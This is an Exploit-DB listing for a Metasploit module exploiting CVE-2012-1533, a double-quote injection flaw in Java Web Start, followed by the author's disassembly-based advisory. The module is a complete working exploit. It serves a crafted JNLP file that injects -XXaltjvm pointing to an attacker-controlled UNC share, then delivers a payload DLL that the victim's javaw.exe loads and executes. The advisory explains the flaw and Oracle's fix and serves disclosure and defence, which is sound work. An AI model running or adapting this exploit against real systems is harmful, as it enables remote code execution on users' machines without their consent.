Java - Web Start Double Quote Injection Remote Code Execution (Metasploit)

EDB-ID:

26123


Author:

Rh0

Type:

remote


Platform:

Multiple

Date:

2013-06-11


##
#
# ========================================================
# Java Web Start Double Quote Inject Remote Code Execution
# ========================================================
#
# Date: Jun 12 2012 (updated: Jun 6 2013)
# Author: Rh0
# Version: At least Java 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07
# Tested on: Windows XP SP3 EN and Windows 7
# CVE: 2012-1533
#
# advisory: http://pastebin.com/eUucVage
#
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    #
    # This module acts as an HTTP server
    #
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Sun Java Web Start Double Quote Injection',
            'Description'    => %q{
                    This module exploits a flaw in the Web Start component of the Sun Java
                Runtime Environment. Parameters intial-heap-size and max-heap-size in a JNLP
                file can contain a double quote which is not properly sanitized when creating
                the command line for javaw.exe. This allows the injection of the -XXaltjvm
                option to load a jvm.dll from a remote UNC path into the java process. Thus 
                an attacker can execute arbitrary code in the context of a browser user.
                This flaw was fixed in Oct. 2012 and affects JRE <= 1.6.35 and <= 1.7.07.

                In order for this module to work, it must be ran as root on a server that
                does not serve SMB. Additionally, the target host must have the WebClient
                service (WebDAV Mini-Redirector) enabled. Alternatively an UNC path containing
                a jvm.dll can be specified with an own SMB server.
            },
            'Author'         => 
                [
                    # NOTE: module is completely based on and almost the same like jducks module for CVE-2012-0500 (Rev: 4369f73c)
                    'Rh0 <rh0 () z1p dot biz>',   # discovery and msf module
                ],
            'Version'        => '0.0',
            'References'     =>
                [
                    [ 'URL', 'http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/java_ws_vmargs.rb' ],
                    [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
                ],
            'Platform'       => 'win',
            'Payload'        =>
                {
                    'Space'    => 1024,
                    'BadChars' => '',
                    'DisableNops' => true,
                    'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
                },
            'Targets'        =>
                [
                    [ 'Automatic', { } ],
                    [ 'Java Runtime 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07 on Windows x86',
                        {
                            'Platform' => 'win',
                            'Arch' => ARCH_X86
                        }
                    ],
                ],
            'DefaultTarget'  => 0,
            ))

        register_options(
            [
                OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
                OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
                OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with a SMB server)' ])
            ], self.class)
    end


    def auto_target(cli, request)
        agent = request.headers['User-Agent']

        ret = nil
        #print_status("Agent: #{agent}")
        # Check for MSIE and/or WebDAV redirector requests
        if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
            ret = targets[1]
        elsif agent =~ /MSIE (6|7|8)\.0/
            ret = targets[1]
        else
            print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
        end

        ret
    end


    def on_request_uri(cli, request)

        # For this exploit, this does little besides ensures the user agent is a recognized one..
        mytarget = target
        if target.name == 'Automatic'
            mytarget = auto_target(cli, request)
            if (not mytarget)
                send_not_found(cli)
                return
            end
        end

        # Special case to process OPTIONS for /
        if (request.method == 'OPTIONS' and request.uri == '/')
            process_options(cli, request, mytarget)
            return
        end

        # Discard requests for ico files
        if (request.uri =~ /\.ico$/i)
            send_not_found(cli)
            return
        end

        # If there is no subdirectory in the request, we need to redirect.
        if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
            if (request.uri == '/')
                subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
            else
                subdir = request.uri + '/'
            end
            print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
            send_redirect(cli, subdir)
            return
        else
            share_name = $1
        end

        # dispatch WebDAV requests based on method first
        case request.method
        when 'OPTIONS'
            process_options(cli, request, mytarget)

        when 'PROPFIND'
            process_propfind(cli, request, mytarget)

        when 'GET'
            process_get(cli, request, mytarget, share_name)

        when 'PUT'
            print_status("Sending 404 for PUT #{request.uri} ...")
            send_not_found(cli)

        else
            print_error("Unexpected request method encountered: #{request.method}")

        end

    end

    #
    # GET requests
    #
    def process_get(cli, request, target, share_name)

        print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
        # dispatch based on extension
        if (request.uri =~ /\.dll$/i)
            #
            # DLL requests sent by IE and the WebDav Mini-Redirector
            #
            print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")

            # Re-generate the payload
            return if ((p = regenerate_payload(cli)) == nil)

            # Generate a DLL based on the payload
            dll_data = generate_payload_dll({ :code => p.encoded })

            # Send it :)
            send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })

        elsif (request.uri =~ /\.jnlp$/i)
            #
            # Send the jnlp document
            #

            # Prepare the UNC path...
            if (datastore['UNCPATH'])
                unc = datastore['UNCPATH'].dup
            else
                my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
                unc = "\\\\" + my_host + "\\" + share_name
            end

            # NOTE: we ensure there's only a single backslash here since it will get escaped
            if unc[0,2] == "\\\\"
                unc.slice!(0, 1)
            end

            http_agent = Rex::Text.rand_text_alpha(8+rand(8))

            # use initial-heap-size='"' to inject a double quote and max-heap-size=" -XXaltjvm=\\IP\share " to
            # inject a parameter into the command line of javaw.exe
            # codebase, href and application-desc parameters successfully suppress java splash
            jnlp_data = <<-EOS
<?xml version="1.0" encoding="UTF-8"?>
<jnlp version="1" codebase="#{Rex::Text.rand_text_alpha(rand(10)+10)}" href="#{Rex::Text.rand_text_alpha(rand(10)+10)}.jnlp">
<information>
   <title>#{Rex::Text.rand_text_alpha(rand(10)+10)}</title>
   <vendor>#{Rex::Text.rand_text_alpha(rand(10)+10)}</vendor>
   <description>#{Rex::Text.rand_text_alpha(rand(10)+10)}</description>
</information>
<resources>
   <java version="1.6+" initial-heap-size='"' max-heap-size=" -XXaltjvm=#{unc} " />
</resources>
<application-desc progress-class="#{Rex::Text.rand_text_alpha(rand(10)+10)}" />
</jnlp>
EOS
            print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...")


            send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' })

        else
            print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}")
            jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8))

            jnlp_path = get_resource()
            if jnlp_path[-1,1] != '/'
                jnlp_path << '/'
            end
            jnlp_path << request.uri.split('/')[-1] << '/'
            jnlp_path << jnlp_name << ".jnlp"

            send_redirect(cli, jnlp_path, '')

        end

    end

    #
    # OPTIONS requests sent by the WebDav Mini-Redirector
    #
    def process_options(cli, request, target)
        print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
        headers = {
            #'DASL'   => '<DAV:sql>',
            #'DAV'    => '1, 2',
            'Allow'  => 'OPTIONS, GET, PROPFIND',
            'Public' => 'OPTIONS, GET, PROPFIND'
        }
        send_response(cli, '', headers)
    end


    #
    # PROPFIND requests sent by the WebDav Mini-Redirector
    #
    def process_propfind(cli, request, target)
        path = request.uri
        print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
        body = ''

        if (path =~ /\.dll$/i)
            # Response for the DLL
            print_status("Sending DLL multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
            body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

        elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
            # Response for anything else (generally just /)
            print_status("Sending directory multistatus for #{path} ...")
            body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

        else
            print_status("Sending 404 for #{path} ...")
            send_not_found(cli)
            return

        end

        # send the response
        resp = create_response(207, "Multi-Status")
        resp.body = body
        resp['Content-Type'] = 'text/xml'
        cli.send_response(resp)
    end


    #
    # Make sure we're on the right port/path to support WebDAV
    #
    def exploit
        if !datastore['UNCPATH'] && (datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/')
            raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
        end

        super
    end

end

=begin
=========================================================
Java Web Start: The next Quote Inject Bug (CVE 2012-1533)
=========================================================

Hello all,

This bug is different from CVE-2012-0500 which was disclosed on Feb. 15 2012, but
allows remote code execution in the same way.


======================
Vulnerability Overview
======================

There exists an input validation vulnerability in at least Java Web Start 1.6.35
and 1.7.07 when parsing JNLP files.
A flaw exists in the routine which performs checks on the parameter values from
a JNLP file. It allows the injection of non escaped double quotes (") into parameters
of the command line of javaw.exe. Parameters "intial-heap-size" and "max-heap-size" in a
JNLP file can contain a double quote which is not properly sanitized when creating
the command line for javaw.exe. This makes it possible to get a command line parameter
with a value consisting only of one double quote injected. Further this allows manipulating
the command line and the injection of e.g. the "-XXaltjvm" option leading to RCE.


======================
Vulnerability Details
======================

Notes:
------
[*] A JNLP parameter will be refered to  by name=value (e.g.: initial-heap-size='64m"' )
[*] Analysis is done on WinXP 32Bit SP3 EN with Oracle JRE 1.6.31
[*] javaws.exe has the base address of 0x00400000 in memory
[*] Arrows (-->) indicate code continuation on next address block
------

Vulnerable program flow:
------------------------
[*] If a JNLP file is opened by javaws.exe, it is read into memory
and saved temporary in %TEMP%.

[*] JNLP parameters are parsed:
[a] Check if a JNLP value begins with a single or a double quote:
(EAX points to a value of JNLP parameter enclosed with single quotes e.g.: '64m"' ; note the double quote inside)
00404D60  MOV CL,BYTE PTR DS:[EAX]      ; CL: 1st char of '64m"' (single quote = 0x27)
00404D62  CMP CL,22                     ; check for double quote
00404D65  MOV DWORD PTR DS:[4227C4],EAX 
00404D6A  JE SHORT javaws.00404D9F      ; jmp is not taken
00404D6C  CMP CL,27                     ; check for single quote
00404D6F  JE SHORT javaws.00404D9F      ; jmp is taken -->
...

[b] strip quotes which enclose the JNLP value and store it:
00404D9F  INC EAX                       ; points to 2nd char of JNLP value (1st char after single quote)
00404DA0  MOV DL,CL                     ; DL: 0x27 (single quote)
00404DA2  MOV CL,BYTE PTR DS:[EAX]      ; CL: 2nd char of JNLP value (0x36)
00404DA4  MOV DWORD PTR DS:[4227C4],EAX
00404DA9  MOV ESI,EAX
00404DAB  JMP SHORT javaws.00404DB4     ; start loop
00404DAD  /CMP CL,DL                    ; compare char of JNLP value to single quote
00404DAF  |JE SHORT javaws.00404DB8     ; loop until another single quote in JNLP value is encountered
00404DB1  |INC ESI                      ; increase pointer to chars in JNLP value
00404DB2  |MOV CL,BYTE PTR DS:[ESI]     ; put next char of value into CL
00404DB4   TEST CL,CL
00404DB6  \JNZ SHORT javaws.00404DAD    
00404DB8  PUSH EAX
00404DB9  PUSH 6
00404DBB  MOV EAX,ESI
00404DBD  CALL javaws.00404BF8          ; store stripped JNLP value ( in the example case: 64m" )
...

[*] The stripped JNLP values are used to construct the command line parameter for javaw.exe
(e.g.: for JNLP parameter with name initial-heap-size) :
00401895  PUSH javaws.00418330          ; ASCII: -Xms%s
0040189A  PUSH EBX
0040189B  PUSH EAX
0040189C  CALL javaws.00406D26          ; construct command line parameter with -Xms%s and 64m"
004018A1  LEA EAX,DWORD PTR SS:[EBP-400]; EAX points to command line parameter -Xms64m" (with still one double quote)
...

[*] All constructed command line parameters for javaw.exe are sane checked:
00402B02  CALL javaws.00406911          ; run check routine -->
...
00406911  PUSH EBP
00406912  MOV EBP,ESP
00406914  PUSH EBX
00406915  PUSH ESI
00406916  PUSH EDI
00406917  MOV EDI,DWORD PTR SS:[EBP+10] ; ESI: pointer to pointers to command line parameters
0040691A  XOR EBX,EBX
0040691C  CMP DWORD PTR DS:[EDI],EBX
0040691E  MOV ESI,EDI
00406920  JE SHORT javaws.00406933
00406922  /PUSH DWORD PTR DS:[ESI]      ; push pointer to command line parameter
00406924  |CALL javaws.00406170         ; run check on command line parameter -->
00406929  |MOV DWORD PTR DS:[ESI],EAX
0040692B  |ADD ESI,4                    ; ESI: pointer to next command line parameter
0040692E  |CMP DWORD PTR DS:[ESI],EBX
00406930  |POP ECX
00406931  \JNZ SHORT javaws.00406922    ; loop until end of pointer list
...
00406170  PUSH EBX
00406171  MOV EBX,DWORD PTR SS:[ESP+8]  ; EBX: pointer to command line parameter ( e.g.: -Xms64m" )
00406175  TEST EBX,EBX
00406177  JNZ SHORT javaws.0040617D     ; -->
...
0040617D  MOV EAX,EBX
0040617F  LEA EDX,DWORD PTR DS:[EAX+1]  ; EDX: pointer to command line parameter without hyphen ( Xms64m" )
00406182  /MOV CL,BYTE PTR DS:[EAX]
00406184  |INC EAX
00406185  |TEST CL,CL
00406187  \JNZ SHORT javaws.00406182
00406189  PUSH ESI                      ; pointer to pointer of -Xms64m"
0040618A  SUB EAX,EDX                   ; EAX: length of Xms64m"\x00
0040618C  PUSH javaws.004199B8          ; ASCII \x20\x09 (space and tab)
00406191  PUSH EBX                      ; pointer to -Xms64m"
00406192  MOV ESI,EAX
00406194  CALL javaws.00409590          ; check for space and tab in -Xms64m" ; return 0x0 in EAX if it's not found
00406199  TEST EAX,EAX                  ; EAX: 0x0 for -Xms64m"
0040619B  POP ECX
0040619C  POP ECX
0040619D  JNZ SHORT javaws.004061A8     ; jmp to routine which checks and escapes " and \ is not taken !! The checks are not performed !!
0040619F  PUSH EBX
004061A0  CALL javaws.004127F4          ; copy of -Xms64m" (~ strdup)
004061A5  POP ECX
004061A6  JMP SHORT javaws.00406215     ; jmp over the check routines !! ---------------------> 00406215  
004061A8  CMP ESI,1
004061AB  JLE SHORT javaws.004061B9
004061AD  CMP BYTE PTR DS:[EBX],22
004061B0  JNZ SHORT javaws.004061B9
004061B2  CMP BYTE PTR DS:[ESI+EBX-1],22
004061B7  JE SHORT javaws.0040619F
004061B9  XOR EAX,EAX
004061BB  TEST ESI,ESI
004061BD  LEA EDX,DWORD PTR DS:[ESI+3]
004061C0  JLE SHORT javaws.004061D5
004061C2  /MOV CL,BYTE PTR DS:[EAX+EBX]
004061C5  |CMP CL,22
004061C8  |JE SHORT javaws.004061CF
004061CA  |CMP CL,5C
004061CD  |JNZ SHORT javaws.004061D0
004061CF  |INC EDX
004061D0  |INC EAX
004061D1  |CMP EAX,ESI
004061D3  \JL SHORT javaws.004061C2
004061D5  PUSH EDX
004061D6  CALL javaws.004089CD
004061DB  TEST EAX,EAX
004061DD  POP ECX
004061DE  JE SHORT javaws.00406215
004061E0  XOR ECX,ECX
004061E2  PUSH EDI
004061E3  INC ECX
004061E4  XOR EDI,EDI
004061E6  TEST ESI,ESI
004061E8  MOV BYTE PTR DS:[EAX],22      ; *** prepend command line parameter with double quote
004061EB  JLE SHORT javaws.0040620B
004061ED  /MOV DL,BYTE PTR DS:[EDI+EBX]
004061F0  |CMP DL,22                    ; *** check for "
004061F3  |JE SHORT javaws.004061FA
004061F5  |CMP DL,5C                    ; *** check for \
004061F8  |JNZ SHORT javaws.004061FF
004061FA  |MOV BYTE PTR DS:[EAX+ECX],5C ; *** escape " or \ with \ (" becomes \" and \ becomes \\ )
004061FE  |INC ECX
004061FF  |MOV DL,BYTE PTR DS:[EDI+EBX]
00406202  |MOV BYTE PTR DS:[EAX+ECX],DL
00406205  |INC ECX
00406206  |INC EDI
00406207  |CMP EDI,ESI
00406209  \JL SHORT javaws.004061ED
0040620B  ADD ECX,EAX
0040620D  MOV BYTE PTR DS:[ECX],22      ; *** append command line parameter with double quote to enclose it 
00406210  MOV BYTE PTR DS:[ECX+1],0
00406214  POP EDI
00406215  POP ESI                       ; -----------------> we land here
00406216  POP EBX
00406217  RETN
...

[*] At this point we have circumvented the checks and our JNLP parameter initial-heap-size='64m"' becomes
the command line parameter Xms64m". Basically this happens due to the possibility to enclose double quotes
inside single quoted JNLP values (see [a] and [b]) and unsufficient checking for double quotes inside
the constructed command line parameter (see 0040619D ).

[*] We can now inject command line parameters via the JNLP parameter max-heap-size=" -ParamA=InjectA -ParamB=InjectB "
which will become the command line parameter "-Xmx -ParamA=InjectA -ParamB=InjectB "

[*] The command line for javaw.exe then contains the two parameters after each other, so we get:
javaw.exe [...] -Xms64m" "-Xmx -ParamA=InjectA -ParamB=InjectB " [...] "-another parameter X" "-another parameter Y " [...]

[*] Although the javaw.exe command line is corrupted due to unclosed and wrongly escaped double quotes an injection
works with -XXaltjvm=\IP\evilshare. Javaw.exe will search for a jvm.dll on a remote unc location \\IP\evilshare (which can
be on a webserver) and execute it.


===
Fix
===

[*] This vulnerability was fixed by Oracle in Oct. 2012
http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html
The fix inserted an additional check to "initial-heap-size" and "max-heap-size" parameters.
Comparison between javaws.exe 10.7.2.10 (Java 1.7.07) and javaws.exe 10.9.2.05 (Java 1.7.09) yields the following:

[a] All functions are identical except sub_404BB9 and a new function sub_406E0E was added:
http://s18.postimg.org/gy04n3jw9/diff_1_7_7_1_7_9.png

[b] The only difference in sub_404BB9 between the two versions is the use of sub_406E0E to validate the parameter
values gained by sub_405BD5:
http://s7.postimg.org/hjgnecod7/sub_404bb9_diffed.png


[*] An old deprecated self made fix is available which fixed this issue in a different way, back in the days
when it was a 0day:
http://pastebin.com/9RztwVez




Cheers,

Rh0
=end